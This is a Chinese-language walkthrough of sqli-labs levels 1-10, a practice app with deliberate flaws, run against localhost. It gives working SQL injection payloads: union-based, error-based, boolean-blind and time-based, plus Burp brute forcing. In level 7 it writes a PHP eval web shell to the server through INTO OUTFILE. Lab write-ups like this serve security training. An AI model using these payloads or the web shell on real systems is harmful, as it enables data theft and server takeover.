注意:
如果你是使用的phpstudy,請務必將sql的版本調到5.5以上,因為這樣你的資料庫內才會有information_schema資料庫,方便進行實驗測驗,
另外-- (這里有一個空格,–空格)在SQL內表示注釋,但在URL中,如果在最后加上-- ,瀏覽器在發送請求的時候會把URL末尾的空格舍去,所以我們用–+代替-- ,原因是+在URL被URL編碼后會變成空格,
要學會利用報錯資訊來判斷注入型別!!!
Less-1
1、先測驗and 1=2,回顯正常,說明不是數值型注入


2、接著在id=1后添加’,發現報錯(推薦觀察報錯資訊來判斷注入型別):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
從報錯內容中可以看出id傳入的是str型別,可以分解成這樣來看:
傳遞了一個1’的引數,并且1’的引數用單引號包裹,最后再最外層一層單引號
’ ’ 1’ ’ LIMIT 0,1 ’


3、輸入–+將后面的陳述句注釋掉,發現回顯正常,說明此處是單引號字符型注入


4、接著使用order by陳述句判斷該表中一共有多少列資料,order by 3回顯正常,order by 4回顯不正常,說明存在3列資料


5、將id改為資料庫不存在的id值,如負數或0,再用union select 1,2,3聯合查詢陳述句查看顯示位,輸出了2與3,這里可以看出有兩個顯示位


6、利用2、3顯示位,爆出當前資料庫的表名


7、接著爆出users的所有列名


8、最后查詢username、password這兩欄位的資料,成功爆破
Less-2
1、輸入id=1? and 1=2 --+回顯資訊發生變化,無錯誤資訊,說明是數值型注入


也可以輸入?id=1’根據錯誤資訊來判斷(推薦這種方式),報錯資訊如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
發現多出來一個單引號,說明是數值型,把單引號刪掉,改為?id=-1 union…按照之前的操作就行了
2、order by 3顯示正常,order by 4顯示不正常,所以該表有3列資料
3、接著可以仿造less-1,使用聯合查詢進行注入
Less-3
1、向頁面輸入?id=1’ ,報錯資訊:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
發現有括號閉合,那就變成
http://10.2.10.31/sqli/Less-3/?id=1’)
報錯資訊:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’) LIMIT 0,1’ at line 1
這時候就顯示多了’),說明是(’’)這種方式閉合字串的
2、接著使用order by 判斷表中有多少列資料
3、接著使用聯合查詢,union select 1,2,3判斷頁面有多少個顯示位,方法與less-1一樣,在此不再贅述
Less-4
與第三關類似,第四關使用("")方式閉合字串,然后可以優先使用聯合查詢注入
1、當輸入?id=1’,發現沒有報錯,改用?id=1",報錯資訊如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
猜測是("")這種方式閉合字串的
2、當輸入?id=1") --+時回顯正常,說明猜測正確
3、剩下的查詢方式與前面關卡的聯合查詢方式一樣
Less-5
第一種方法–報錯注入破解:
1、經測驗發現,輸入?id=1時顯示正常,但沒顯示位

2、繼續擴大id值,輸入?id=100,頁面仍沒顯示位,頁面沒有顯示位,所以無法使用聯合查詢

3、輸入?id=1’頁面出現錯誤資訊

頁面出現SQL陳述句報錯,在這里我們就可以使用一種新的注入方式:報錯注入
首先介紹三種報錯注入常用的陳述句:
(1). 通過floor報錯
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL陳述句
需要注意的是該陳述句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯
and updatexml(1, payload,1)
同樣該陳述句對輸出的字符長度也做了限制,其最長輸出32位
并且該陳述句對payload的反悔型別也做了限制,只有在payload回傳的不是xml格式才會生效
(3). 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字符有長度限制,最長32位,
payload即我們要輸入的sql查詢陳述句
4、在這里我們采用floor報錯陳述句進行注入,因為字符長度限制最長,

這里發現頁面提示我輸出資訊超過一行,但我們已經使用了group_concat函式,說明這里資料庫名組成的字串長度超過了64位,所以我們需要放棄group_concat函式,而使用limit 0,1來一個個輸出,
group_concat()函式的作用:將回傳資訊拼接成一行顯示
limit 0,1 表示輸出第一個資料, 0表示輸出的起始位置,1表示跨度為1(即輸出幾個資料,1表示輸出一個,2就表示輸出兩個)
接著我們運用如下陳述句:
http://localhost/sqli-labs/Less-5/?id=2’ and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
輸出如下:

需要注意的是, 此時資料庫名并不是 information_schema1
這個1是floor報錯陳述句中輸出的也一部分(無論輸出什么結果,都會有這個1)
為了防止某些時候,我們誤以為這個1也是我們查詢結果的一部分,我建議大家使用一個;與它分開,用concat(schema_name,’;’)陳述句可實作,陳述句如下:
?id=2’ and (select 1 from (select count(*),concat(((select concat(schema_name,’;’) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

5、下面我們更改我們的payload,一個個的查詢我們要找的資料,更改limit 4,1就找到了scurity庫

6、接下來仿照前面關卡,改變查詢陳述句,一個個的查表,當limit 4,1時查到users表:
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(table_name,’;’) from information_schema.tables where table_schema = database() limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

7、查出users里面的列欄位
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(column_name,’;’) from information_schema.columns where table_schema = database() and table_name = ‘users’ limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


8、查出username、password
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(username,’-’,password,’-’) from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

第二種方法–結合substr()函式破解
1、這里是盲注,需要我們一個一個的猜字符,先構造注入陳述句
http://localhost/sqli-labs/Less-5/?id=1’ and ascii(substr(database(),1,1)) > 10 --+
函式不懂的話用搜索引擎查詢,這里的原理就是獲取當前資料庫的第一個字符,由于我們之前試了好多次,直接用s來試以節約時間
http://localhost/sqli-labs/Less-5/?id=1’ and ascii(substr(database(),1,1)) = ‘s’ --+

發現頁面回顯正常,換一個字符就沒回顯了,說明s是第一個字符,以此類推來獲取整個資料庫名,
再之后可以查詢資料庫中表的名稱,方法也是一樣,我貼一條
http://localhost/sqli-labs/Less-5/?id=1’ and substr((select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1),1,1) = ‘e’ --+
這樣推,就可以把這題做出來,
當然,這樣是最慢的方法,但是還是要掌握的,
第三種方法–結合burpsuite破解
這里直接介紹用bp的爆破模塊進行破解:
1、首先抓取我們需要的包
假設我們要查資料庫名:
http://localhost/sqli-labs/Less-5/?id=1’ and substr(database(),1,1) = ‘a’ --+

2、發送到Intrude,點擊清除,然后選中要爆破的字符,例如這里選擇a
3、在有效載荷中,設定一下字典,選擇“蠻力”,設定最短最長值都為1

4、最后設定一下執行緒為300,加快速度

5、點擊開始攻擊,爆破出第一個字符s,改變substr()第二個引數為2,即改變匹配位置為第二個字符,以此類推進行爆破,獲取資料庫名,剩下作業以此類推,通關:

Less-6
與less-5類似,這關使用的是""的方式閉合字串,我們只需改為?id=1"即可,其余程序與前面類似,不再贅述,
Less-7
前提注意點:
-
資料庫的file權限規定了資料庫用戶是否有權限向作業系統內寫入和讀取已存在的檔案
-
into outfile命令使用的環境:
我們必須要知道服務器上一個可以寫入檔案的檔案夾的完整路徑
1、輸入?id=1回顯正常:

2、輸入?id=1 and 1=2回顯正常,說明不是數值型注入:

3、輸入?id=1’ 頁面報錯,說明可能存在’注入:

4、輸入?id=1’ --+頁面顯示依然不正常,繼續輸入?id=1’) --+頁面仍然不正常,嘗試輸入?id=1’)) --+發現頁面顯示正常:

5、由于本關卡是使用file權限向服務區寫入檔案,我們就嘗試上傳一句話檔案給服務器,最后通過蟻劍來連接:
因為我們還不知道資料庫的路徑,可以借助第一關來獲取資料庫的絕對路徑:
@@datadir 讀取資料庫路徑
@@basedir 獲取安裝路徑
http://localhost/sqli-labs/Less-1/?id=-1’ union select 1,2,@@basedir --+

這樣我們就可以知道網站應該是在D:/phpStudy2016/WWW/下,構造陳述句如下(包含一句話木馬):
http://localhost/sqli-labs/Less-7/?id=-1’)) union select 1,’<?php @eval($_REQUEST["shell"]);?>’,3 into outfile ‘D://phpStudy//WWW//1234.php’ --+

頁面回顯錯誤,不過不用理會,可以查看一下本機相應檔案夾,發現增加了1234.php,且訪問http://localhost/1234.php,得到如下:


在這里特別注意:
遇到寫入不了沒生成檔案的情況應該是mysq沒有設定好,可以在mysql的命令列查看一下secure-file-priv當前的值
show variables like ‘%secure%’;
如果為Null,這則需要打開mysql下的my.ini檔案,在其中添加上 secure_file_priv=”/”
6、通過蟻劍連接,獲取服務器,通關:


Less-8
1、測驗注入點,無回顯
http://localhost/sqli-labs/Less-8/?id=1’
2、再測,有回顯,說明注入成功
http://localhost/sqli-labs/Less-8/?id=1’ --+
3、就可以按照之前盲注的思路,參照第七關,接著注入就能得到答案,通關
Less-9
這里我們嘗試使用單引號、雙引號閉合、數值型注入,都發現回顯正常,說明關卡將我們的單雙引號、數值給推移了,
這時候要使出最后的殺手锏了,利用延時注入,先判斷能否延時注入:
http://localhost/sqli-labs/Less-9/?id=1’ and sleep(5) --+
等待了7s多,說明存在延時注入:

這里的原理是,利用sleep函式判斷是否執行了我們的sql陳述句,發現回顯正常,說明執行了,
然后還是按照之前的方法繼續盲注:
1、首先通過延時注入得到資料庫名,先判斷資料庫名的長度,
語法:?id=1’ and if(leng(database())=x,sleep(5),1) --+
通過變換x的值來確定資料庫名的長度
可知資料庫名的長度為8
2、接下來判斷資料庫的名字:
語法:?id=1’ and if(ascii(substr(database(),x,1))=y,sleep(5),1) --+
通過變換x、y的值來確定資料庫的名字,
經過多次嘗試,可知資料庫的名字為security,
3、接下來,判斷資料庫security中的表名資訊,首先判斷第一個表名的長度:
語法:?id=1’ and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(),1) --+
同理確定所有表名的長度,
4、再接著判斷表的名字:
語法:if(left((select table_name from information_schema.tables where table_schema = database() limit x,1),y)=“m”,sleep(5),1)
通過變換x、y、字符m,可以得到所有的表名,
5、經過多次嘗試,得到表名users,接下來判斷欄位名與資料內容,還是和上面一樣的套路,判斷長度,判斷名字,這里就不再贅述了,
總結:延時注入與布爾注入都很麻煩,需要一次一次的嘗試,需要耐心,
Less-10
第十關就是把單引號換成了雙引號,其他都一樣,通關,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/348270.html
標籤:其他
上一篇:如何在aspnetcorewebAPI上正確地將串列轉換為IQueryable
下一篇:17.模塊隱藏(DLL斷鏈)


